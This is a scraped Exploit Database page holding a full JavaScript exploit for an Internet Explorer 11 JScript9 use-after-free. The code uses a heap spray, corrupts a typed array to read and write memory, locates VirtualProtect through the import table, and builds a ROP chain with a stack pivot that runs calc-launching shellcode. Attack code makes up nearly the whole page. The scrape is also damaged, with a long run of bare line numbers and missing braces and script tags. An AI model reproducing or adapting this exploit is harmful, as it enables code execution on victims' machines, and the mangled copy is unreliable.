Microsoft Internet Explorer 11 – javascript Code Execution

Exploit Database
119 阅读

作者： checkpoint

日期： 2016-02-01
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/44743/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

<html>

<body>

ARR_SIZE = 3248;

first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476];

stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542];

first_gadget = [0x89, 0x41, 0x0c, 0xc3];

stackpivot_gadget = [0x94, 0xc3];

gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0};

function empty_replacer(a,b) {

return b;

}

function create_list(lst, depth) {

if (depth > 5)

{

return;

}

else

{

// Creates 19 objects in each nested list

for (i = 0; i <= 19; i++)

{

// Create random string with length 8

for (var val = "", c = 0; c <= 8; c++) {

rnd = Math.floor((Math.random() * 90) + 48);

l = String.fromCharCode(rnd);

val = val + l;

}

lst["a" + i] = val;

}

create_list(lst["a0"] = {}, depth + 1);

}

function create_triggering_json() {

var lst = {}

create_list(lst, 0);

return lst;

}

// Create vulnerable JSON

trig_json = create_triggering_json();

spray = new Array(4096);

buff = new ArrayBuffer(4);

size = 0;

// Heap Spray

var I = setInterval(function(){

for (i=0;i<400;i++,size++) {

spray[size] = new Array(15352);

for (j = 0; j< 85;j++) {

spray[size][j] = new Uint32Array(buff);

}

0 == i && (yb = spray[0][0]["length"], yb["toString"](16))

}

size >= (4096) && (clearInterval(I), uaf())

}, 100);

var arr = []

function uaf()

{

JSON.stringify(trig_json,empty_replacer);

var pattern = [311357464,311357472,311357464];

for (var b = 3248 * 2, c = 203; c < b; c++)

arr[c] = new ArrayBuffer(12);

for (c = 203; c < b; c++)

{

var data = new Uint32Array(arr[c],0);

a = 0;

for (var i = data["length"] / pattern["length"]; a < i; a++)

for (var d=0, e = pattern["length"]; d < e;d++)

data[a+d] = pattern[d];

}

CollectGarbage();

search_corrupted_array();

}

var damaged_array;

function search_corrupted_array()

{

for (i=0;i<4096;i++)

{

for (j = 0; j< 85;j++) {

if (spray[i][j].length != 1)

{

damaged_array = spray[i][j];

damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space

damaged_array[2] = 0x10000;

write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later

for (k = 0; k < 4096; k++) { // find the marked array

if (spray[k][0] == 0xDEC0DE) {

break;

}

// now spray[k][0] is 0x128e0020

if (k == 4096) break;

spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028

spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray

arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object

jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address

vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub

if (vp_addr == 0) break;

arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain

spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020

rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object

rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above

var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90];

var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode

spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024

sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode

sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself

construct_gadget_dict(damaged_array, jscript9_base_addr);

// construct the ROP chain

spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret

spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret

spray[k][0][2] = vp_addr; // VirtualProtectStub pointer

spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect)

spray[k][0][4] = sc_data; // lpAddress

spray[k][0][5] = spray[k][1].length; // dwSize

spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE

spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect

spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top

write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain

spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget

}

function get_index_from_addr(addr) {

return Math.floor((addr - 0x10000) / 4);

}

function get_iat_offset(arr, js9_base) {

return 0x3e6000;

}

function get_pe_header_offset(arr, js9_base) {

var offset = read_dword_from_addr(arr, js9_base + 0x3c);

return offset;

}

function get_import_table_offset(arr, js9_base) {

var pe_header_offset = get_pe_header_offset(arr, js9_base);

var pe_header = js9_base + pe_header_offset;

var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80);

return import_table_offset;

}

function get_import_table_size(arr, js9_base) {

var pe_header_offset = get_pe_header_offset(arr, js9_base);

var pe_header = js9_base + pe_header_offset;

var import_table_size = read_dword_from_addr(arr, pe_header + 0x84);

return import_table_size;

}

function get_vp_addr(arr, js9_base) {

var kernel32_entry = get_kernel32_entry(arr, js9_base);

var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc);

var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4);

var func_name = new String();

for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) {

func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2);

if (func_name.indexOf("VirtualProtect") > -1) {

return read_dword_from_addr(arr, fptr);

}

return 0;

}

function get_kernel32_entry(arr, js9_base) {

var it_addr = js9_base + get_import_table_offset(arr, js9_base);

var it_size = get_import_table_size(arr, js9_base);

var s = new String();

for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) {

var it_entry = read_dword_from_addr(arr, next_addr);

if (it_entry != 0) {

s = read_string_from_addr(arr, js9_base + it_entry);

if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) {

return next_addr;

}

return 0;

}

function read_dword_from_addr(arr, addr) {

return arr[get_index_from_addr(addr)];

}

function read_byte_from_addr(arr, addr) {

var mod = addr % 4;

var ui32 = read_dword_from_addr(arr, addr);

return ((ui32 >> (mod * 8)) & 0x000000ff);

}

function read_string_from_addr(arr, addr) {

var s = new String();

var i = 0;

for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) {

c = String.fromCharCode(read_byte_from_addr(arr, i));

s += c;

}

return s;

}

function write_dword_to_addr(arr, addr, data) {

arr[get_index_from_addr(addr)] = data;

}

function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) {

var first_dword = 0x0, second_dword = 0x0, g = 0;

var gadget_candidate = [];

for (g = 0; g < offsets.length; g++) {

first_dword = read_dword_from_addr(arr, js9_base + offsets[g]);

second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4);

gadget_candidate = convert_reverse_ui32_to_array(first_dword);

gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword));

if (contains_gadget(gadget_candidate, gadget)) {

gadget_offsets[gadget_key] = offsets[g];

break;

}

function construct_gadget_dict(arr, js9_base) {

find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1");

find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot");

if (gadget_offsets["stackpivot"] > 0) {

gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1;

}

function contains_gadget(arr, sub) {

var i = 0;

for (i = 0; i < sub.length; i++) {

if (arr.indexOf(sub[i]) == -1) return false;

}

return true;

}

function convert_reverse_ui32_to_array(ui32) {

var arr = [];

var i = 0;

var tmp = ui32;

for (i = 0; i < 4; i++, tmp = tmp >> 8) {

arr.push(tmp & 0x000000ff);

}

return arr;

}

</script>

</body>

</html>